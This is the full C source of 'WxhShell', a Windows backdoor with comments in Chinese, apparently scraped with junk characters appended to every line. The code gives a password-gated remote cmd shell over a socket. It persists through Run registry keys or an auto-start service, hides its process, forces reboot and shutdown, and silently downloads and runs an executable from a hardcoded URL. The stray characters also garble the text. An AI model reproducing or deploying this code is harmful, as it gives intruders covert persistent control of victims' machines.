    if(Boot(SHUTDOWN)) HIE8@Rv/3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a(?)r[=  
    else { ?GhMGpd Mq  
    closesocket(wsh); ?D)$O CS  
    ExitThread(0); Dyo^O=0c  
    } W,80deT  
    break; eYlI};  
    } +zLw%WD[l  
  // 获取shell lEHXh2  
  case 's': { ;&}z L.!jo  
    CmdShell(wsh); C'gv#!Q  
    closesocket(wsh); bnanTH9-  
    ExitThread(0); ?ILjt?X8  
    break; nsVLgTbx  
  } jC}HNiM78  
  // 退出 E11C@%  
  case 'x': { 3}mg7KV&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); jgPUR#)  
    CloseIt(wsh); MXEI/mDYK  
    break; T=sAy/1oR  
    } `T1bY9O.  
  // 离开 =6=:OId  
  case 'q': { 's5rl  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ck %if  
    closesocket(wsh); Q_iN/F  
    WSACleanup(); :X-S&S X0  
    exit(1); XSK<hr0m  
    break; T2azHo7  
        } ~&MDfpl  
  } 1t^9.!$@y  
  } 4J(-~  
Q/4ICgo4  
  // 提示信息 &)||~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ac|dmu  
} %t!S 7UD  
  } .o C! ~'  
YtWw)IK  
  return; !plu;w  
} OQ wO7Z  
O_.!qk1R  
// shell模块句柄 qAbmQ{|w  
int CmdShell(SOCKET sock) fXl2i]L(^B  
{ C%]qK(9vvd  
STARTUPINFO si; #s\kF *  
ZeroMemory(&si,sizeof(si)); SRk!HuXh  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4~FRE)8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $2i@@#g8  
PROCESS_INFORMATION ProcessInfo; L'aB/5_%  
char cmdline[]="cmd"; hp9LV2_5  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7(tsmP  
  return 0; .{`C>/"}  
} 5%fWX'mS  
_JNYvng m  
// 自身启动模式 r`EjD}2d  
int StartFromService(void) >s"/uo  
{ fvi0gE@bd  
typedef struct 6\K\d_x  
{ Y[}A4`  
  DWORD ExitStatus; * O?Yp%5NH  
  DWORD PebBaseAddress; Q#qfuwz  
  DWORD AffinityMask; u'_}4qhCC;  
  DWORD BasePriority; }Kp<w,  
  ULONG UniqueProcessId; <1>6!`b4  
  ULONG InheritedFromUniqueProcessId; 9"gu>  
}   PROCESS_BASIC_INFORMATION; 2@2d |  
em0Y'J  
PROCNTQSIP NtQueryInformationProcess; \**j \m   
!yrh50tD  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; iZeq l1O  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; W,CAg7:*  
' F9gp!s8~  
  HANDLE             hProcess; &<uLr *+*  
  PROCESS_BASIC_INFORMATION pbi; 2; ,8 u  
&}2@pu[S?7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >,3uu}s  
  if(NULL == hInst ) return 0; to&,d`k=-  
{!qnHv\S  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~;Y Tz  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); X _@|+d  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); S1y6G/e9  
/Qr`au  
  if (!NtQueryInformationProcess) return 0; I{[Z  
2YW;=n  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); y1PyH  
  if(!hProcess) return 0; G'-#99wv.  
=G^'wwpv(  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 'plUs<A  
vWeY[>oGur  
  CloseHandle(hProcess); #(Gz?kGAH`  
*xsBFCRU  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); p!uB8F  
if(hProcess==NULL) return 0; {R@V  
Lkx~>U   
HMODULE hMod; )&>W/56/  
char procName[255]; Y.Z:H!P);$  
unsigned long cbNeeded; mS![J69(  
{xov8 M  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3Xd:LDZ{  
3Z*o5@RI  
  CloseHandle(hProcess); {CBb^BP  
=dKjTBR S'  
if(strstr(procName,"services")) return 1; // 以服务启动 { ,c*OR  
kVKAG\F  
  return 0; // 注册表启动 _]4 p51r0  
} pl1CPxSdO  
>J S^yVk  
// 主模块 -XV+F@`Md  
int StartWxhshell(LPSTR lpCmdLine) C&vi7Yx  
{ 8Ala31  
  SOCKET wsl; z rSPa\M  
BOOL val=TRUE; I%a-5f$0  
  int port=0; AzXLlQ  
  struct sockaddr_in door; ]2)A/fOW  
j"h/v7~  
  if(wscfg.ws_autoins) Install(); [*zg? ur  
$;q }j vo  
port=atoi(lpCmdLine); $VF,l#aR  
[NO4Wzc  
if(port<=0) port=wscfg.ws_port; r=Lgh#9S  
U-fxlg|-C  
  WSADATA data; _r\M}lDh*  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; QNU~G3  
fpo{`;&F  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   7(.Z8AO  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); X`Q+,tx$  
  door.sin_family = AF_INET; I(pq3_9$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2y^:T'p  
  door.sin_port = htons(port); -2J37   
0g|5s  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { vZTXvdF  
closesocket(wsl); ^-k"gLg  
return 1; P o@;PR=  
} =r ^_D=  
~Y CH5,  
  if(listen(wsl,2) == INVALID_SOCKET) { o68i0aFW  
closesocket(wsl); T pF [-fO  
return 1; DWKQ>X6  
} *1`X}  
  Wxhshell(wsl); b1 w@toc  
  WSACleanup(); 1s=Q~*f~d  
G)}[!'<rR  
return 0; jD9u(qAlH  
Y&O2;q/B  
} &U]/SFY  
<O'U-. Gc  
// 以NT服务方式启动 >rEZ$h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) naf ~#==vc  
{ ySO\9#Ho  
DWORD   status = 0; 9c)#j&2?H  
  DWORD   specificError = 0xfffffff; # lvt4a"P"  
UcQ]n0J=Z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~>=.^  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5qQMGN$K  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; N?vb^?  
  serviceStatus.dwWin32ExitCode     = 0; zQY ,}a  
  serviceStatus.dwServiceSpecificExitCode = 0; 1;=L] L?  
  serviceStatus.dwCheckPoint       = 0; %mT/y%&:  
  serviceStatus.dwWaitHint       = 0; <L qJg  
BK%B[f*[OA  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Dbn344s  
  if (hServiceStatusHandle==0) return; g[pU5%|"[  
-\?-  
status = GetLastError(); xWzybuLp  
  if (status!=NO_ERROR) m- <y|3  
{ a&b/C*R_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; NLL"~  
    serviceStatus.dwCheckPoint       = 0; Ju47}t%HB  
    serviceStatus.dwWaitHint       = 0; VM\R-[  
    serviceStatus.dwWin32ExitCode     = status; "E2 0Y"[h  
    serviceStatus.dwServiceSpecificExitCode = specificError; Q+ V<&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); u)r/#fUZ  
    return; 4joE"H6  
  } @s-P!uCaT  
"V]*ov&[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; z f SE7i0  
  serviceStatus.dwCheckPoint       = 0; mk1R~4v  
  serviceStatus.dwWaitHint       = 0; m1%rm-M  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Yt(FSb31H  
} E! NtD).=S  
hp'oiR;~w  
// 处理NT服务事件,比如:启动、停止 = exCpW>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) e*}zl>f  
{ Ie^Ed`  
switch(fdwControl) > U?\WgE$  
{ )9yQ C  
case SERVICE_CONTROL_STOP: 6J,h}S  
  serviceStatus.dwWin32ExitCode = 0; a pa&'%7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :Pdh##k  
  serviceStatus.dwCheckPoint   = 0; I8J>>H'#A  
  serviceStatus.dwWaitHint     = 0; H;nzo3x  
  { Zwc&4:5%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?;W"=I*3  
  } o[!o+M  
  return; .-rz30xT  
case SERVICE_CONTROL_PAUSE: \T_ZcV  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; f~mwDkf?L  
  break; 6P _+:Mf  
case SERVICE_CONTROL_CONTINUE: F-|DZ?)k5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; u9S*2'  
  break; }=bzUA`C  
case SERVICE_CONTROL_INTERROGATE: UDi(7c0.  
  break; ]w6 F%d  
}; 3?FY?Q[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $mM"C+dD  
} x&;AY  
$mGzJ4&  
// 标准应用程序主函数 VX.LL 5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Bn&P@C$7  
{ 8m iJQIq  
^;PjO|mD Z  
// 获取操作系统版本 f<bB= 9J  
OsIsNt=GetOsVer(); cwzkA,e@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); n>.@@  
h 8UhrD<:  
  // 从命令行安装 u/j\pDl.  
  if(strpbrk(lpCmdLine,"iI")) Install(); Hu<]*(lK%  
I(~([F2  
  // 下载执行文件 *bFWNJ}`q  
if(wscfg.ws_downexe) { ;F @Sz/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Gxe)5,G  
  WinExec(wscfg.ws_filenam,SW_HIDE); i`F5  
} ZiuD0#"!  
C%yH}T\s  
if(!OsIsNt) { As)?~dV  
// 如果时win9x,隐藏进程并且设置为注册表启动 F!#)l*OX;  
HideProc(); im &N &A  
StartWxhshell(lpCmdLine); Zt9G[[]  
} D*-  
else /W,hOv  
  if(StartFromService()) 0j!<eN=  
  // 以服务方式启动 _WWC8?6 U  
  StartServiceCtrlDispatcher(DispatchTable); 3:jxr  
else vOlfyH>  
  // 普通方式启动 4utwcXL  
  StartWxhshell(lpCmdLine); m=9b/Nr4  
RM_%u=jC  
return 0; *]yrN`  
} ?+hEs =Xs  
|k6+- 1~_  
N/0aO^"V  
J8Wits]A]$  
=========================================== "7%jv[  
BT [|f[1  
dM^EYW  
`"CA$Se8  
GZaB z#U  
xbCR4upS  
" ||X3g"2W9  
kBk>1jn"  
#include <stdio.h> s*g qKQ;  
#include <string.h> HQ"T>xb  
#include <windows.h> 'm*W<  
#include <winsock2.h> QTa\&v[f  
#include <winsvc.h> Gz{%Z$A~o  
#include <urlmon.h> kB@gy}  
Lm}.+.O~d  
#pragma comment (lib, "Ws2_32.lib") ?=Ceo#Er  
#pragma comment (lib, "urlmon.lib") -b!Z(}JK  
^)]U5+g?  
#define MAX_USER   100 // 最大客户端连接数 y_L8i[  
#define BUF_SOCK   200 // sock buffer yrEh5v:  
#define KEY_BUFF   255 // 输入 buffer }@6Ze$ >  
QD%xmP  
#define REBOOT     0   // 重启 26aDPTP$<  
#define SHUTDOWN   1   // 关机 YNV, dKB  
&'^.>TJ\  
#define DEF_PORT   5000 // 监听端口 )@DDs(q=i  
=!SV;^-q  
#define REG_LEN     16   // 注册表键长度 1]''@oh{6U  
#define SVC_LEN     80   // NT服务名长度 npzp/mcIe)  
xDw~n(*  
// 从dll定义API m BvO<?ec  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /Yi4j,8!|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); n yPeN?-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); '9u?lA^9$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); jA9uB.I,"b  
AcuZ? LYzK  
// wxhshell配置信息 ,(q] $eOZ  
struct WSCFG { 4#>Z.sf  
  int ws_port;         // 监听端口 ?u:`?(\  
  char ws_passstr[REG_LEN]; // 口令 rtAPkXJFM  
  int ws_autoins;       // 安装标记, 1=yes 0=no >(P(!^[f  
  char ws_regname[REG_LEN]; // 注册表键名 lv/im/]v  
  char ws_svcname[REG_LEN]; // 服务名 l9uocP:D  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3 orZBT  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `Ns@W?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !{+CzUo@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 'MW%\W;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" M *w{PjU  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 PY_8*~Z  
4r4 #u'Om  
}; sm'_0EUg  
j=T8 b  
// default Wxhshell configuration bDl#806PL  
struct WSCFG wscfg={DEF_PORT, %C`P7&8m=O  
    "xuhuanlingzhe", bu6Sp3g  
    1, U%bm{oVn  
    "Wxhshell", M`al~9  
    "Wxhshell", !y XGAg,  
            "WxhShell Service", ,u>LAo0  
    "Wrsky Windows CmdShell Service", ORrZu$n`p  
    "Please Input Your Password: ", yq|yGf(4&  
  1, |*JMPg?zI  
  "http://www.wrsky.com/wxhshell.exe", =5*Wu+S4r  
  "Wxhshell.exe" plPPf+\  
    }; J|{50?S{^  
 t* Ct*  
// 消息定义模块 )rP,+B?W  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \azMF}mb  
char *msg_ws_prompt="\n\r? for help\n\r#>"; D)x^?!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; kCEuzd=$V  
char *msg_ws_ext="\n\rExit."; ) ??N]V_U  
char *msg_ws_end="\n\rQuit."; A^FkU  
char *msg_ws_boot="\n\rReboot..."; hNh!H<}|m8  
char *msg_ws_poff="\n\rShutdown..."; D+:s{IcL<  
char *msg_ws_down="\n\rSave to "; KF#^MEw%  
I1m[M?  
char *msg_ws_err="\n\rErr!"; @P~%4:!Hr  
char *msg_ws_ok="\n\rOK!"; ?&9=f\/P  
*K_8=TIA*  
char ExeFile[MAX_PATH]; 0IqGy}+VU  
int nUser = 0; d6*84'|!  
HANDLE handles[MAX_USER]; >6yQuB  
int OsIsNt; ^G`6Zg;  
l4i 51S"  
SERVICE_STATUS       serviceStatus; GdUsv  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Wap4:wT  
{.kIC@^O  
// 函数声明 Kd 1=mC  
int Install(void); ] / Nt  
int Uninstall(void); 7xO05)bz  
int DownloadFile(char *sURL, SOCKET wsh); _+ 9i  
int Boot(int flag); |U1 [R\X  
void HideProc(void); "{~FEx4  
int GetOsVer(void); ]cP%d-x}  
int Wxhshell(SOCKET wsl); zAM9%W2v_  
void TalkWithClient(void *cs); @~s5{4  
int CmdShell(SOCKET sock); dakHH@Q  
int StartFromService(void); ;UgwV/d  
int StartWxhshell(LPSTR lpCmdLine); B|a<=~  
Dk sn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Drtg7v{@\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); OKm,iIp]  
?bM%#x{e  
// 数据结构和表定义 Uf+y$n-  
SERVICE_TABLE_ENTRY DispatchTable[] = TYD( 6N  
{ !m:WoQ/  
{wscfg.ws_svcname, NTServiceMain}, ;"IWm<]h;-  
{NULL, NULL} Uv[a ~'  
}; ($`IHKF1.l  
_Ycz@Jn  
// 自我安装 ;taZixOH  
int Install(void) 1@{ov!YB]  
{ d+)LK~  
  char svExeFile[MAX_PATH]; ~l:Cj*6x8  
  HKEY key; ssQ1u.x9  
  strcpy(svExeFile,ExeFile); 3<<wHK;)  
9^g8VlQdT  
// 如果是win9x系统,修改注册表设为自启动 sx azl]  
if(!OsIsNt) { !VIxEu^ke  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }iDRlE,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C ibfuR  
  RegCloseKey(key); Dti-*LB1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { PTe$dPB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5P<1I7d  
  RegCloseKey(key); 0vLx={i  
  return 0; 1J1Jp|j.  
    } *A!M0TK?i,  
  } A4(L47^  
} XM!oN^  
else { "Cxj_V@\  
16eP7s  
// 如果是NT以上系统,安装为系统服务 [dLc+h1{B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `:Wyw<^  
if (schSCManager!=0)  mY"Dw^)  
{ 6{i0i9Tb  
  SC_HANDLE schService = CreateService u,iiS4'Ze  
  ( "JmbYb#Z  
  schSCManager, 037\LPO  
  wscfg.ws_svcname, s1]Pv/a=y  
  wscfg.ws_svcdisp, z)KoK`\mE"  
  SERVICE_ALL_ACCESS, !lzj.|7=1  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "24d:vf\  
  SERVICE_AUTO_START, 6 [XaIco=C  
  SERVICE_ERROR_NORMAL, {BM:c$3@j  
  svExeFile, VB  |k  
  NULL, Mz$qe  
  NULL, b/\O;o}]  
  NULL, An(gHi;1$  
  NULL, v,ecNuy*d  
  NULL @>U9CL"  
  ); wH@< 0lw`<  
  if (schService!=0) Z\C"/j<y  
  { a9lYX*:  
  CloseServiceHandle(schService); Ke@Bf  
  CloseServiceHandle(schSCManager); ]b}3f<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); < q(i(%  
  strcat(svExeFile,wscfg.ws_svcname); yD3vq}U!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }mp`!7?>O  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); PJKY$s.  
  RegCloseKey(key); *vBhd2HO  
  return 0; o|n;{zT"  
    } J%ws-A?6rN  
  } H h](n<Bs  
  CloseServiceHandle(schSCManager); kKbbsB  
} H4v%$R;K  
} `4@` G:6BL  
:, H_ e! X  
return 1; .Sw4{m[g  
} </<z7V,{  
n@@tO#!\  
// 自我卸载 tZ=|1lM  
int Uninstall(void) ^{yb4yQ 0  
{ P/~dY  
  HKEY key; 5r8 [ "  
G2[2y-Rv  
if(!OsIsNt) { 0j;|IU\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HWoMzp5="3  
  RegDeleteValue(key,wscfg.ws_regname); uJ=&++[  
  RegCloseKey(key); ArX*3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Jp)PKS ![  
  RegDeleteValue(key,wscfg.ws_regname); Gg6cjc=dC  
  RegCloseKey(key); $+e(k~  
  return 0; {3vm]  
  } K'e!BZm6Q  
} "[A&S!  
} [uie]*^  
else { j }^?Snq  
_mdJIa0D6k  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \2@9k`  
if (schSCManager!=0) J=^5GfM)J  
{ $a\X(okx  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); tvzO)&)$  
  if (schService!=0) _jkJw2+s\  
  { v/KTEM  
  if(DeleteService(schService)!=0) { B7{j$0fm*  
  CloseServiceHandle(schService); ]6=opvm  
  CloseServiceHandle(schSCManager); +W>tdxOh  
  return 0; V/OW=WCzN  
  } R'K /\   
  CloseServiceHandle(schService); ~c1~) QzZ  
  } Z+J~moW `  
  CloseServiceHandle(schSCManager); N9)ERW2`*  
} /$vX1T  
} QBoX3w=  
@J@bD+Q+0  
return 1; #lVSQZO~a  
} r Z5eXew6  
YRl4?}r2  
// 从指定url下载文件 v Ma$JPauI  
int DownloadFile(char *sURL, SOCKET wsh) 71&`6#  
{ rUiUv(q  
  HRESULT hr; =g@hh)3wP  
char seps[]= "/"; @iz S_I,  
char *token; ";0-9*I  
char *file; &E k\  
char myURL[MAX_PATH]; wAb_fU&*  
char myFILE[MAX_PATH]; y7*^H  
BYS>"  
strcpy(myURL,sURL); 9*|An  
  token=strtok(myURL,seps); Ke&fTK  
  while(token!=NULL) nDchLVw  
  { t^9q>[/d`  
    file=token; HZ2zL17  
  token=strtok(NULL,seps); KRcg  
  } f;ycQc@f  
T?5F0WKi  
GetCurrentDirectory(MAX_PATH,myFILE); `+r5I5  
strcat(myFILE, "\\"); IZ4jFgpR  
strcat(myFILE, file); 8J9o$Se  
  send(wsh,myFILE,strlen(myFILE),0); {24Pv#ZG#^  
send(wsh,"...",3,0); 'Uo:b<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); P#Ikj& l   
  if(hr==S_OK) s3T 6"%S`  
return 0; \@n/L{}(@  
else |@)ij c4i  
return 1; bL7mlh  
!C0= h  
} b}q,cm  
]zK} X!  
// 系统电源模块 aR;Q^YJ+a  
int Boot(int flag) ?at~il$z'  
{ PsD]gN5"  
  HANDLE hToken; ]7"mt2Q=3  
  TOKEN_PRIVILEGES tkp; X]CaWxM  
d}415 XA  
  if(OsIsNt) {  *JOv  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); q`;URkjk  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4]8PF  
    tkp.PrivilegeCount = 1; z#*GPA8Em:  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; kQBVx8Uq]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); <~8W>Y\m  
if(flag==REBOOT) { tv|=`~Y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )ZmE"  
  return 0; +V\NMW4d  
} )'<zC  
else { _H3cqD  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) N4 mQN90t  
  return 0; aH$*Ue@Q  
} DwTZ<H4  
  } p-/x Md  
  else { pV-.r-P  
if(flag==REBOOT) { q C|re!K  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) aA yFu_  
  return 0; ->#7_W  
} @o^sp|k !  
else { Vgm{=$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) B'0Il"g'  
  return 0; $fvUb_n  
} Ul@' z|  
} $1@{Zz!S  
Hm^p^,}_x  
return 1; F;NZJEy  
} mg;AcAS.o,  
i\eykYc,  
// win9x进程隐藏模块 _bz,G"w+:  
void HideProc(void) Zd%\x[f9ck  
{ n<$I,IRE  
},L[bDOV07  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); f!I e  
  if ( hKernel != NULL ) r#~6FpFVK^  
  { G`W+m*[U+M  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); vA{[F7  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); u1kbWbHu(  
    FreeLibrary(hKernel); hP#&]W3:  
  } Mo<p+*8u:  
%`\{Nx k  
return; gR>#LM&dG  
} J/*[wj  
e O}mZN  
// 获取操作系统版本 &\K#UVDyhh  
int GetOsVer(void) t-Fl"@s  
{ wIiT :o  
  OSVERSIONINFO winfo; V)Xcn'h  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); pV+;/y_  
  GetVersionEx(&winfo); Kj>_XaFCg!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8ksDXf`.  
  return 1; d16 PY_  
  else \d;Ow8%d/  
  return 0; LMDa68 s  
} 8+W^t I  
)G|U B8]  
// 客户端句柄模块 Mt:(w;Y  
int Wxhshell(SOCKET wsl) `'QPe42  
{ u@3w$"Pv1  
  SOCKET wsh; ZtT`_G&  
  struct sockaddr_in client; pL-$Np] V  
  DWORD myID; ={oO9.9  
i xyjl[G  
  while(nUser<MAX_USER) 1FX-#Y`e  
{ `jkn*:m  
  int nSize=sizeof(client); }bTMeCgI  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); J{ Vl2P?@  
  if(wsh==INVALID_SOCKET) return 1; #75;%a8  
\#}%E h b  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ),Rj@52l  
if(handles[nUser]==0) *dl@)~i  
  closesocket(wsh); +Lr0i_al  
else `F@yZ4L3S  
  nUser++; HTG;'$H^  
  } /P%:u0fX,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); StVv"YY  
b6(yyYdF  
  return 0; Bk F[nL*|  
} G~Sfpf  
re*/JkDq3K  
// 关闭 socket V]2z5u_q  
void CloseIt(SOCKET wsh) kShniN  
{ ublY!Af  
closesocket(wsh); YGO@X(ej,  
nUser--; 5W48z%MN  
ExitThread(0); fYi!Z/Ck2  
} )qIK7;  
hdB[H8Q  
// 客户端请求句柄 )Fw)&5B!  
void TalkWithClient(void *cs) y()( 8L  
{ uI[*uAR  
)em.KbsPPF  
  SOCKET wsh=(SOCKET)cs; Z0=OR^HjA  
  char pwd[SVC_LEN]; uwka 2aSS  
  char cmd[KEY_BUFF]; |<0@RCgM  
char chr[1]; #rwR)9iC0  
int i,j; SJ-Sac58r  
]lY9[~ v  
  while (nUser < MAX_USER) { loJ0PY'}=  
wGH@I_cy>  
if(wscfg.ws_passstr) { DPOPRi~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ah`dt8t  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4@I]PG  
  //ZeroMemory(pwd,KEY_BUFF); EUkNh>U?  
      i=0; =)8Ct  
  while(i<SVC_LEN) { 68*{Lo?U  
|*5nr5c_L  
  // 设置超时 4#w^PM8}  
  fd_set FdRead; qu%s 7+  
  struct timeval TimeOut; 2'U9!. o  
  FD_ZERO(&FdRead); %U 7B0-  
  FD_SET(wsh,&FdRead); hz%IxI9  
  TimeOut.tv_sec=8; ap~Iz  
  TimeOut.tv_usec=0; xTMTkVa+B  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [)A#9L~s=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); fLAF/#\2  
U:9vjY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M\f0 =`g  
  pwd=chr[0]; Ev16xL8B  
  if(chr[0]==0xd || chr[0]==0xa) { wrU[#g,uvr  
  pwd=0; -wfV  
  break; }TW=eu~  
  } !*gAGt_  
  i++; jxaoQeac  
    } v2{s2kB=  
|Y11sDa9h  
  // 如果是非法用户,关闭 socket ]r6bJ 2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Bl];^W^P  
} 6pR#z@,  
aw1J#5j`n  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); M'iKk[Hjfx  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~@a R5Q>us  
f,>i%.  
while(1) { ex458^N_  
]o$/xP  
  ZeroMemory(cmd,KEY_BUFF); rUjr'O0  
Pa +BE[z  
      // 自动支持客户端 telnet标准   ,m,vo_Ub  
  j=0; (xed(uFEK  
  while(j<KEY_BUFF) { +.I'U9QeUN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $4L3y uH  
  cmd[j]=chr[0]; {6sfa?1j  
  if(chr[0]==0xa || chr[0]==0xd) { Fr3t [:D  
  cmd[j]=0; x["  
  break; nif' l/@"  
  } Rn_c9p  
  j++; 9lCKz !E  
    } rgKn=8+a  
RzQS@^u*F0  
  // 下载文件 QOk"UP  
  if(strstr(cmd,"http://")) { >iN%Uz  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0)V-|v`  
  if(DownloadFile(cmd,wsh)) {2^ @jD  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9AzGk=^  
  else ,r;d{  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]H~,K]@.  
  } w tLM c  
  else { 0K0=Ob^(e  
l0if#?4\r  
    switch(cmd[0]) { 8{ %9%{  
